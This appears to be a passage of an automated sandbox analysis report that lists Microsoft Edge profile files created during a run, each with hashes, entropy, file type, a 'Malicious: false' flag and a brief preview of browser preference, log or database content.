MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c489.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d090.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cbde1024-a459-4177-9b34-ba6f60ee63b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\dff3e7db-8076-4407-8ee8-72256cafd02d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.203915887224487
Encrypted:	false
SSDEEP:	12:6jYVv4YebvqBZFUt8vgg/+vtuI5LYebvqBaJ:x54Yebvyg84XuSLYebvL
MD5:	DE11FB5186F8299BD0398E4A572CFD22
SHA1:	C6670FB80359BC28C04EF55759375A0BE6D3E093
SHA-256:	695E409257487678EB19FA3DCAD028A71A17511DBD7A34B03BBA2A5336CD1E5C
SHA-512:	FB890E99DFBD02E3CDE108EB3220309598C89EA29984811A013DE52F90BA6BD818220949A44747AF97D6ACA95DFAF2C35C1CE831643D75A5A1832324AA1C1862
Malicious:	false
Preview:	2024/10/30-20:18:52.339 1f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-20:18:52.340 1f80 Recovering log #3.2024/10/30-20:18:52.344 1f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.203915887224487
Encrypted:	false
SSDEEP:	12:6jYVv4YebvqBZFUt8vgg/+vtuI5LYebvqBaJ:x54Yebvyg84XuSLYebvL
MD5:	DE11FB5186F8299BD0398E4A572CFD22
SHA1:	C6670FB80359BC28C04EF55759375A0BE6D3E093
SHA-256:	695E409257487678EB19FA3DCAD028A71A17511DBD7A34B03BBA2A5336CD1E5C
SHA-512:	FB890E99DFBD02E3CDE108EB3220309598C89EA29984811A013DE52F90BA6BD818220949A44747AF97D6ACA95DFAF2C35C1CE831643D75A5A1832324AA1C1862
Malicious:	false
Preview:	2024/10/30-20:18:52.339 1f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-20:18:52.340 1f80 Recovering log #3.2024/10/30-20:18:52.344 1f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.177139882283646
Encrypted:	false
SSDEEP:	6:6Fjp6qM+q2P923oH+TcwtpIFUt8vFjBZAZmw+vFjtpMVkwO923oH+Tcwta/WLJ:6/6qM+v4YebmFUt8vXK/+vDpMV5LYeb7
MD5:	C9BE0217EAED11F72A2F07010CC8047E
SHA1:	B96EF548A959C1CB835A99775859D56E459309EE
SHA-256:	9C32E0E5D3E16ADF4A18A538D15226FA25E24CB9E90D9E9B90102DFD2BBED9D0
SHA-512:	CA846BDF251FFCDABC6FBB81FE38E95564AD2EA56D6141BB3D1D3A9E1DE203FB8387DFC6AF99D51DBC6D35C44E964FA1280065C483987D93790D26AEA89016F2
Malicious:	false
Preview:	2024/10/30-20:18:34.451 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-20:18:34.459 1e8c Recovering log #3.2024/10/30-20:18:34.460 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.177139882283646
Encrypted:	false
SSDEEP:	6:6Fjp6qM+q2P923oH+TcwtpIFUt8vFjBZAZmw+vFjtpMVkwO923oH+Tcwta/WLJ:6/6qM+v4YebmFUt8vXK/+vDpMV5LYeb7
MD5:	C9BE0217EAED11F72A2F07010CC8047E
SHA1:	B96EF548A959C1CB835A99775859D56E459309EE
SHA-256:	9C32E0E5D3E16ADF4A18A538D15226FA25E24CB9E90D9E9B90102DFD2BBED9D0
SHA-512:	CA846BDF251FFCDABC6FBB81FE38E95564AD2EA56D6141BB3D1D3A9E1DE203FB8387DFC6AF99D51DBC6D35C44E964FA1280065C483987D93790D26AEA89016F2
Malicious:	false
Preview:	2024/10/30-20:18:34.451 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-20:18:34.459 1e8c Recovering log #3.2024/10/30-20:18:34.460 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265300771203967
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMASAELyKOMq+8yC8F/YfU5m+OlTLVum2:Bq+n0JA9ELyKOMq+8y9/Owp
MD5:	B5063560D845985EF2F967AD129E8CC4
SHA1:	D76BB85F451D185A49B1B871A8C901DD82121391
SHA-256:	2074D7FC3F760847CD5F12213F1CC4378415EE450A7B937ED5F1830A012866C3
SHA-512:	2851E912D88C25CA6BCBF91B20DC38A68BA7503887F5F126931D7D5743B6DA7FEA0792822B5F3DF6540319A16FBF01ADD14B6858B556706E4569E843D4D8B290
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4663232055766378
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0EL/R:v7doKsKuKZKlZNmu46yjx0EbR
MD5:	F74906548176EFD80C76627C48AC4784
SHA1:	A18E4E71EF51C1AFD235AF6C540C77D8A8E47899
SHA-256:	4E826D7B75A7C35FBCC67D45645DD4B0C90A3C2061630A664FEB39EAA3FA4589
SHA-512:	7106B68693DC702059EA20F68BA6E52353091D4EB57EC0C9D8496F39FA9459775B4617C49268001BB75D3039C3F44EE01F9F03B99D4CB5CC009A002173C0ADA4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a6f5eed3-12b9-4364-8771-5511aab342f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17432), with no line terminators
Category:	dropped
Size (bytes):	17432
Entropy (8bit):	5.479103737817976
Encrypted:	false
SSDEEP:	384:stEPGKSu4Gs/XyfhNk7N/aZ7InebGLQwy6W6laTYX:sWOxu2XyfEa/bGkBgaTYX
MD5:	3C47A2535596A02A48BF4CB5153F3224
SHA1:	DE9AB2C1C7C490E2A0F9C578B88AEAD91B4A63C0
SHA-256:	1994CC42EEA71160F8E3D9E46DF4467DA94DBD7B0B68ED1ED1B8BD57C148BB7A
SHA-512:	0C3BCEF8C64F69E7C34EECCD9AC081E9CABC21E6B33FF6A28ACADE40D1AE9E6290250C34C9B9AF89CBC0A484608E542A3FF4BCB16F91EBF5781CE64925E66CB0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c61a30f6-1f8c-427b-b21b-2a40a2d05dac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561317426620817
Encrypted:	false
SSDEEP:	768:Tra2ma7pLGLpLtWPBRfMY8F1+UoAYDCx9Tuqh0VfUC9xbog/OV71Zi7Q1rwlpiJk:Tra2mycpLtWPBRfMYu1ja21ZeQ+lpK5+
MD5:	BB13B1863593BDCE941FCD15FFD6FA20
SHA1:	7B1AA692FAF710E9C017F2191CDBE0E014A4994F
SHA-256:	3376817D01A04A0178A89A8247B48539C2982C349DD20827B3A5F2942359E7A9
SHA-512:	A6E55DF74C8E9478E3383179062D6DF1E4B2275EEE77803E2FCB4F19B19458296C875963DB4E7AAB8D36F272EF61B98C055B66113F1AA8D28E538936FBE50420
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374807514434620","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374807514434620","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e11b1125-0147-4135-bf75-d5e90b2bd037.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10094
Entropy (8bit):	5.12905536000586
Encrypted:	false
SSDEEP:	192:stEkdpGs/XysZihUkt9r58HbV+FOeQA66WGaFIMYlPwYJ:stEQGs/XyfhEbGLQx6WGaTYX
MD5:	1C01FF23FF2928D63B369B619876F981
SHA1:	9C78B55C72A2D27A3782BAEB3CCAD07C3DDCBD28
SHA-256:	42CA35261EEB3CAAD248FFAF109B693629E47F733F067ABB0E956AE0614916B8
SHA-512:	32970299D155AC7A11F71E5ADBE48A79E7A274A75A33A6B60CDF614C107A76DAB9ED780B04BDD0B54F8CB73B88C2CE7423B38EFD3270C1DA428DA3F1B913AA14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\efdbb206-2143-41e9-bab8-a7d4ad1e4f4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10560186270099138
Encrypted:	false
SSDEEP:	12:JntO1LbntO1apEjVl/PnnnnnnnnnnnnvoQtEoxu:JntOVntOMoPnnnnnnnnnnnnvHj
MD5:	71774214D529AF782DC0E8CC9B9B3493
SHA1:	B9EACD79CCC85E0E311107E9D260397F45017918
SHA-256:	8CBEE7AA434080F541681A14F35A5F1FAA8375DC76AB878B54B9855485E113D7
SHA-512:	7C42E54C7BC1A4A139BF1ED1448C16E5DA9F12DE14C479728697CD32B0A01D9C3E0543F01E655A68F64CE2BD451E89CCE34A827A5FED21A16618A2EF27AE8646
Malicious:	false
Preview:	..-.............Q.........GqCsC..4..}...).@..l..-.............Q.........GqCsC..4..}...).@..l........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9309507381703518
Encrypted:	false
SSDEEP:	384:G2bOQYT9lNtjxIHxcqygHZLgh+HOCQQW+gs8r42+C/+hjyzyEVyDyO3ymxy9C:rD9N
MD5:	0FC35E0B95CD56201E37D19FF40F5AA4
SHA1:	62FA4828461ACEAF9CAE437FD65A2D978B5A61C2
SHA-256:	DB37547FF16F55619A3B53ACDCBFDA8137AC863569E987C9E8998BB89E4BE434
SHA-512:	6DFBBBCB26E2711999EDA59B165405C2D30D5D93ADA3A634EA3B7837A4151EDDF16803F26A78F3D1747111DFEC9E04F296717008BF7373EC4DF4BE8CAB9A00D7
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2323087221588382
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuuLO8E:iDM
MD5:	185D9902E82F67B3C534329A62DA7C7F
SHA1:	06053C59366F2228F17975EB5DB0FE7D64F6DEA7
SHA-256:	28E799D9B79F6703D60DFC7568B512AFB61BA44E4679A246C537AD15FBFAFD65
SHA-512:	24D13802A0BF0FE8A23FFE0DE9B0452E4DBA9DAB4A6454E613705E517F07F90DE5353654946C7D2C650FA539118DDF2CC28DDB898CFA87AEF078F2EC986E4707
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............D>.?0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.232097852941441
Encrypted:	false
SSDEEP:	6:6FmBjL+q2P923oH+TcwtfrK+IFUt8vFmjUHz1Zmw+vFmjUHlLVkwO923oH+Tcwt5:6QBOv4Yeb23FUt8vQjsz1/+vQjsz5LYq
MD5:	29FFEA22A6E1087E97534971AAA20224
SHA1:	CBCC49737FAA554376A6D80577FD53D6A3BE9DAC
SHA-256:	7FD1F925EC3B4A9CA46B0E09BB3D6F5D7B57391B502966F1036F208F3E7CB588
